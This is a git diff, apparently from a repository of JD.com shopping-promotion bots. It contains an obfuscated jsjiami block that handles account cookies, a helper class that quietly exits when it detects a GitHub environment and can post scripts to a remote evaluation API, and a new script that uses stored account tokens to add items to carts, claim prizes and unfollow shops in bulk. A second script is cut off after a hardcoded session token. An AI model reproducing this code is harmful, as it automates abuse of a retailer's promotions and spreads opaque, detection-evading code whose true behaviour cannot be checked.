_0x2a8bc7[_0x47fb('‫1c6')](_0x12cddf,_0x362c83);}};try{if(_0x2a8bc7[_0x47fb('‫1c7')](_0x2a8bc7[_0x47fb('‮1c8')],_0x2a8bc7[_0x47fb('‮1c8')])){ownCode=_0x2cd8a2[_0x47fb('‮92')][_0x47fb('‫95')][_0x47fb('‫5d')];console[_0x47fb('‮1e')](ownCode);}else{if(_0x32a25e){if(_0x2a8bc7[_0x47fb('‫1c9')](_0x2a8bc7[_0x47fb('‫1ca')],_0x2a8bc7[_0x47fb('‮1cb')])){return format[_0x47fb('‫1cc')](/[xy]/g,function(_0x550fa2){var _0x490014=_0x548223[_0x47fb('‫1cd')](_0x548223[_0x47fb('‫1ce')](Math[_0x47fb('‮1cf')](),0x10),0x0),_0x1665fc=_0x548223[_0x47fb('‫1d0')](_0x550fa2,'x')?_0x490014:_0x548223[_0x47fb('‮1d1')](_0x548223[_0x47fb('‮1d2')](_0x490014,0x3),0x8);if(UpperCase){uuid=_0x1665fc[_0x47fb('‮110')](0x24)[_0x47fb('‮1d3')]();}else{uuid=_0x1665fc[_0x47fb('‮110')](0x24);}return uuid;});}else{$[_0x47fb('‮1e')](_0x32a25e);}}else{if(_0x2cd8a2){_0x2cd8a2=JSON[_0x47fb('‮9')](_0x2cd8a2);if(_0x2a8bc7[_0x47fb('‫1c9')](_0x2cd8a2[_0x47fb('‮79')],'0')){$[_0x47fb('‮4f')]=_0x2cd8a2[_0x47fb('‮4f')];}}else{$[_0x47fb('‮1e')](_0x2a8bc7[_0x47fb('‮1d4')]);}}}}catch(_0x2269f3){if(_0x2a8bc7[_0x47fb('‮1d5')](_0x2a8bc7[_0x47fb('‫1d6')],_0x2a8bc7[_0x47fb('‫1d6')])){$[_0x47fb('‮1e')](_0x2269f3);}else{return _0x2a8bc7[_0x47fb('‮1d7')](Math[_0x47fb('‮1d8')](_0x2a8bc7[_0x47fb('‫1c3')](Math[_0x47fb('‮1cf')](),_0x2a8bc7[_0x47fb('‫1d9')](max,min))),min);}}finally{if(_0x2a8bc7[_0x47fb('‫1c7')](_0x2a8bc7[_0x47fb('‮1da')],_0x2a8bc7[_0x47fb('‮1da')])){_0x2a8bc7[_0x47fb('‫1db')](_0x121c88);}else{_0x2a8bc7[_0x47fb('‫1db')](_0x121c88);}}});});}function random(_0x484ef5,_0x4ecafc){var _0x2a64ea={'eLtvY':function(_0x160fa7,_0x363520){return _0x160fa7+_0x363520;},'WUEOG':function(_0x230e4b,_0x148539){return _0x230e4b*_0x148539;},'jkxcc':function(_0x22342d,_0x4e3649){return _0x22342d-_0x4e3649;}};return _0x2a64ea[_0x47fb('‫1dc')](Math[_0x47fb('‮1d8')](_0x2a64ea[_0x47fb('‫1dd')](Math[_0x47fb('‮1cf')](),_0x2a64ea[_0x47fb('‮1de')](_0x4ecafc,_0x484ef5))),_0x484ef5);}function getUUID(_0x48234c=_0x47fb('‫4'),_0x52a216=0x0){var _0x165719={'RGMHE':_0x47fb('‮b7'),'WmAIS':_0x47fb('‫bd'),'AAuEF':function(_0x460590,_0xad305d){return _0x460590|_0xad305d;},'dSNsu':function(_0x30704c,_0x547217){return _0x30704c*_0x547217;},'lvkmg':function(_0x44f574,_0x343a21){return _0x44f574==_0x343a21;},'Nwwth':function(_0x187f89,_0x1423bb){return _0x187f89&_0x1423bb;},'HWkOd':function(_0x12b303,_0x1a7d5b){return _0x12b303!==_0x1a7d5b;},'cfnLG':_0x47fb('‫1df')};return _0x48234c[_0x47fb('‫1cc')](/[xy]/g,function(_0x49fcac){var _0x1c78f7=_0x165719[_0x47fb('‫1e0')](_0x165719[_0x47fb('‮1e1')](Math[_0x47fb('‮1cf')](),0x10),0x0),_0x2c1009=_0x165719[_0x47fb('‫1e2')](_0x49fcac,'x')?_0x1c78f7:_0x165719[_0x47fb('‫1e0')](_0x165719[_0x47fb('‫1e3')](_0x1c78f7,0x3),0x8);if(_0x52a216){uuid=_0x2c1009[_0x47fb('‮110')](0x24)[_0x47fb('‮1d3')]();}else{if(_0x165719[_0x47fb('‮1e4')](_0x165719[_0x47fb('‫1e5')],_0x165719[_0x47fb('‫1e5')])){for(let _0x4174bf of resp[_0x165719[_0x47fb('‫1e6')]][_0x165719[_0x47fb('‫1e7')]]){cookie=''+cookie+_0x4174bf[_0x47fb('‮58')](';')[0x0]+';';}}else{uuid=_0x2c1009[_0x47fb('‮110')](0x24);}}return uuid;});}function checkCookie(){var _0x354d90={'UJERb':function(_0x5488ae){return _0x5488ae();},'HEiqJ':function(_0x42550d,_0x144330){return _0x42550d===_0x144330;},'ItaHt':_0x47fb('‮118'),'pYODk':function(_0x174847,_0x2c8ba1){return _0x174847===_0x2c8ba1;},'KdWCz':_0x47fb('‫119'),'RcEGZ':function(_0x565810,_0xd4f1f){return _0x565810!==_0xd4f1f;},'AYiib':_0x47fb('‫1e8'),'BhvYr':_0x47fb('‫1e9'),'IMfMP':_0x47fb('‮3e'),'zkDlA':function(_0x33acb6,_0x1f153a){return _0x33acb6!==_0x1f153a;},'NWZlp':_0x47fb('‮1ea'),'HMdVG':_0x47fb('‮1eb'),'dEaNt':function(_0x250537,_0x26f4c1){return _0x250537===_0x26f4c1;},'pTvCk':_0x47fb('‫1ec'),'fZESy':_0x47fb('‮1ed'),'nxufL':function(_0x1b23e4){return _0x1b23e4();},'JHmtU':function(_0x3a9ed1,_0x5adf4f){return _0x3a9ed1|_0x5adf4f;},'pjtFD':function(_0xa5b19b,_0x4df066){return _0xa5b19b*_0x4df066;},'fYylw':function(_0x3c75bb,_0x3ed342){return _0x3c75bb==_0x3ed342;},'MsbCu':function(_0x3ab3aa,_0x3ae294){return _0x3ab3aa&_0x3ae294;},'wFDlL':_0x47fb('‫1ee'),'JzXCR':_0x47fb('‫1ef'),'vIryq':_0x47fb('‮166'),'NzRbN':_0x47fb('‫a9'),'wHWRY':_0x47fb('‫1f0'),'Hcutm':_0x47fb('‮a5'),'rDiVA':_0x47fb('‮1f1'),'GfscM':_0x47fb('‫a6')};const _0x3bc30a={'url':_0x354d90[_0x47fb('‫1f2')],'headers':{'Host':_0x354d90[_0x47fb('‫1f3')],'Accept':_0x354d90[_0x47fb('‮1f4')],'Connection':_0x354d90[_0x47fb('‫1f5')],'Cookie':cookie,'User-Agent':_0x354d90[_0x47fb('‮1f6')],'Accept-Language':_0x354d90[_0x47fb('‮1f7')],'Referer':_0x354d90[_0x47fb('‫1f8')],'Accept-Encoding':_0x354d90[_0x47fb('‮1f9')]}};return new Promise(_0x3cd73a=>{var _0x31f869={'ovPhi':function(_0x2f9072,_0x171d13){return _0x354d90[_0x47fb('‮1fa')](_0x2f9072,_0x171d13);},'jNgrb':function(_0xabef66,_0x236085){return _0x354d90[_0x47fb('‫1fb')](_0xabef66,_0x236085);},'Ccdwe':function(_0x125b58,_0x122baf){return _0x354d90[_0x47fb('‮1fc')](_0x125b58,_0x122baf);},'Xaaep':function(_0x4201bd,_0x7e9682){return _0x354d90[_0x47fb('‫1fd')](_0x4201bd,_0x7e9682);}};$[_0x47fb('‮13a')](_0x3bc30a,(_0x1a0f47,_0x34cac7,_0x4af94c)=>{var _0x25dff5={'eiYKT':function(_0x576a56){return _0x354d90[_0x47fb('‮1fe')](_0x576a56);}};try{if(_0x1a0f47){$[_0x47fb('‫114')](_0x1a0f47);}else{if(_0x4af94c){_0x4af94c=JSON[_0x47fb('‮9')](_0x4af94c);if(_0x354d90[_0x47fb('‮1ff')](_0x4af94c[_0x47fb('‮157')],_0x354d90[_0x47fb('‮200')])){$[_0x47fb('‫1b')]=![];return;}if(_0x354d90[_0x47fb('‫201')](_0x4af94c[_0x47fb('‮157')],'0')&&_0x4af94c[_0x47fb('‮92')][_0x47fb('‮15a')](_0x354d90[_0x47fb('‫202')])){if(_0x354d90[_0x47fb('‮203')](_0x354d90[_0x47fb('‫204')],_0x354d90[_0x47fb('‫205')])){$[_0x47fb('‫1c')]=_0x4af94c[_0x47fb('‮92')][_0x47fb('‫119')][_0x47fb('‫15c')][_0x47fb('‫10d')];}else{var _0x5447fd=_0x31f869[_0x47fb('‫206')](_0x31f869[_0x47fb('‫207')](Math[_0x47fb('‮1cf')](),0x10),0x0),_0x52a6b5=_0x31f869[_0x47fb('‫208')](c,'x')?_0x5447fd:_0x31f869[_0x47fb('‫206')](_0x31f869[_0x47fb('‫209')](_0x5447fd,0x3),0x8);if(UpperCase){uuid=_0x52a6b5[_0x47fb('‮110')](0x24)[_0x47fb('‮1d3')]();}else{uuid=_0x52a6b5[_0x47fb('‮110')](0x24);}return uuid;}}}else{$[_0x47fb('‮1e')](_0x354d90[_0x47fb('‫20a')]);}}}catch(_0x1078b3){if(_0x354d90[_0x47fb('‮20b')](_0x354d90[_0x47fb('‮20c')],_0x354d90[_0x47fb('‮20d')])){$[_0x47fb('‫114')](_0x1078b3);}else{$[_0x47fb('‫114')](_0x1078b3);}}finally{if(_0x354d90[_0x47fb('‫20e')](_0x354d90[_0x47fb('‮20f')],_0x354d90[_0x47fb('‮210')])){_0x25dff5[_0x47fb('‫211')](_0x3cd73a);}else{_0x354d90[_0x47fb('‮212')](_0x3cd73a);}}});});};_0xod2='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wx_addCart.js b/jd_wx_addCart.js new file mode 100644 index 0000000..308e91b --- /dev/null +++ b/jd_wx_addCart.js @@ -0,0 +1,182 @@ +//问题反馈:https://t.me/Wall_E_Channel +/* +7 7 7 7 7 m_jd_wx_addCart.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M加购有礼'); +$.activityUrl = process.env.M_WX_ADD_CART_URL + ? process.env.M_WX_ADD_CART_URL + : ''; +if (mode) { + $.activityUrl = 'https://lzkj-isv.isvjcloud.com/wxCollectionActivity/activity2/507a016fb7cc46acb51f792cbbbd9903?activityId=507a016fb7cc46acb51f792cbbbd9903&shopid=1000003005' +} +$.activityUrl = $.match( + /(https?:\/\/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|])/, + $.activityUrl) +$.domain = $.match(/https?:\/\/([^/]+)/, $.activityUrl) +$.activityId = $.getQueryString($.activityUrl, 'activityId') +$.activityContent = '' +$.logic = async function () { + if (!$.activityId || !$.activityUrl) { + $.expire = true; + $.putMsg(`activityId|activityUrl不存在`); + return + } + $.log(`活动地址: ${$.activityUrl}`) + $.UA = $.ua(); + + let token = await $.isvObfuscator(); + if (token.code !== '0') { + $.putMsg(`获取Token失败`); + return + } + $.Token = token?.token + + let actInfo = await $.api('customer/getSimpleActInfoVo', + `activityId=${$.activityId}`); + if (!actInfo.result) { + $.expire = true; + $.putMsg(`获取活动信息失败`); + return + } + $.venderId = actInfo.data.venderId; + $.shopId = actInfo.data.shopId; + $.activityType = actInfo.data.activityType; + + let myPing = await $.api('customer/getMyPing', + `userId=${$.venderId}&token=${$.Token}&fromType=APP`) + if (!myPing.result) { + $.putMsg(`获取pin失败`); + return + } + $.Pin = $.domain.includes('cjhy') ? encodeURIComponent( + encodeURIComponent(myPing.data.secretPin)) : encodeURIComponent( + myPing.data.secretPin); + + await $.api( + `common/${$.domain.includes('cjhy') ? 'accessLog' : 'accessLogWithAD'}`, + `venderId=${$.venderId}&code=${$.activityType}&pin=${$.Pin}&activityId=${$.activityId}&pageUrl=${encodeURIComponent( + $.activityUrl)}&subType=app&adSource=`); + let activityContent = await $.api('wxCollectionActivity/activityContent', + `activityId=${$.activityId}&pin=${$.Pin}`); + + if (!activityContent.result || !activityContent.data) { + $.putMsg(activityContent.errorMessage || '活动可能已结束') + return + } + + $.activityContent = activityContent; + let content = activityContent.data; + if (![6, 7, 9, 13, 14, 15, 16].includes( + activityContent.data.drawInfo.drawInfoType)) { + $.putMsg(`垃圾活动不跑了`) + $.expire = true + return + } + if (1 > 2) { + let memberInfo = await $.api($.domain.includes('cjhy') + ? 'mc/new/brandCard/common/shopAndBrand/getOpenCardInfo' + : 'wxCommonInfo/getActMemberInfo', + $.domain.includes('cjhy') + ? `venderId=${$.venderId}&buyerPin=${$.Pin}&activityType=${$.activityType}` + : + `venderId=${$.venderId}&activityId=${$.activityId}&pin=${$.Pin}`); + // 没开卡需要开卡 + if ($.domain.includes('cjhy')) { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.openCardLink) { + $.putMsg('需要开卡,跳过') + return + } + } else { + if (memberInfo.result && !memberInfo.data?.openCard + && memberInfo.data?.actMemberStatus === 1) { + $.putMsg('需要开卡,跳过') + return + } + } + await $.api('wxActionCommon/getUserInfo', `pin=${$.Pin}`) + if (content.needFollow && !content.hasFollow) { + let followShop = await $.api(`wxActionCommon/followShop`, + `userId=${$.venderId}&activityId=${$.activityId}&buyerNick=${$.Pin}&activityType=${$.activityType}`); + await $.wait(1300, 1500) + if (!followShop.result) { + $.putMsg(followShop.errorMessage) + return; + } + } + } + + let needCollectionSize = content.needCollectionSize || 1; + let hasCollectionSize = content.hasCollectionSize; + let oneKeyAddCart = content.oneKeyAddCart * 1 === 1; + $.log('drawInfo', JSON.stringify(content.drawInfo)); + if (hasCollectionSize < needCollectionSize) { + let productIds = []; + a:for (let cpvo of content.cpvos) { + if (oneKeyAddCart) { + productIds.push(cpvo.skuId) + continue + } + for (let i = 0; i < 2; i++) { + try { + let carInfo = await $.api(`wxCollectionActivity/addCart`, + `activityId=${$.activityId}&pin=${$.Pin}&productId=${cpvo.skuId}`) + if (carInfo.result) { + if (carInfo.data.hasAddCartSize >= needCollectionSize) { + $.log(`加购完成,本次加购${carInfo.data.hasAddCartSize}个商品`) + break a + } + break; + } else { + await $.wxStop(carInfo.errorMessage) ? $.expire = true + : '' + $.putMsg(`${carInfo.errorMessage || '未知'}`); + break a + } + } catch (e) { + $.log(e) + } finally { + await $.wait(1300, 1500) + } + } + } + if (oneKeyAddCart) { + let carInfo = await $.api('wxCollectionActivity/oneKeyAddCart', + `activityId=${$.activityId}&pin=${$.Pin}&productIds=${encodeURIComponent( + JSON.stringify(productIds))}`) + if (carInfo.result && carInfo.data) { + $.log(`加购完成,本次加购${carInfo.data.hasAddCartSize}个商品`) + } else { + await $.wxStop(carInfo.errorMessage) ? $.expire = true : '' + $.putMsg(`${carInfo.errorMessage || '未知'}`); + return + } + } + } + if ($.expire) { + return + } + let prize = await $.api('wxCollectionActivity/getPrize', + `activityId=${$.activityId}&pin=${$.Pin}`); + if (prize.result) { + let msg = prize.data.drawOk ? prize.data.name : prize.data.errorMessage + || '空气'; + await $.wxStop(prize.data.errorMessage) ? $.expire = true : '' + $.putMsg(msg); + } else { + await $.wxStop(prize.errorMessage) ? $.expire = true : '' + $.putMsg(`${prize.errorMessage || '未知'}`); + } + await $.unfollow() +} +$.after = async function () { + $.msg.push(`\n${(await $.getShopInfo()).shopName}`) + $.msg.push( + `\n加购${$.activityContent?.data?.needCollectionSize}件,${$.activityContent.data.drawInfo?.name + || ''}\n`); + $.msg.push($.activityUrl) +} +$.run({whitelist: ['1-5'], wait: [3000, 5000]}).catch( + reason => $.log(reason)); diff --git a/jd_wx_centerDraw.js b/jd_wx_centerDraw.js new file mode 100644 index 0000000..889616a --- /dev/null +++ b/jd_wx_centerDraw.js @@ -0,0 +1,212 @@ +/* +7 7 7 7 7 jd_wx_centerDraw.js +*/ +let mode = __dirname.includes('magic') +const {Env} = mode ? require('./magic') : require('./magic') +const $ = new Env('M老虎机抽奖'); +$.lz = 'LZ_TOKEN_KEY=lztokef1eb8494b0af868bd18bdaf8;LZ_TOKEN_VALUE=Aa5RE8RuY4X3zA==;'; +$.activityUrl = process.env.M_WX_CENTER_DRAW_URL + ? process.env.M_WX_CENTER_DRAW_URL + : ''; +if (mode) { + $.activityUrl = 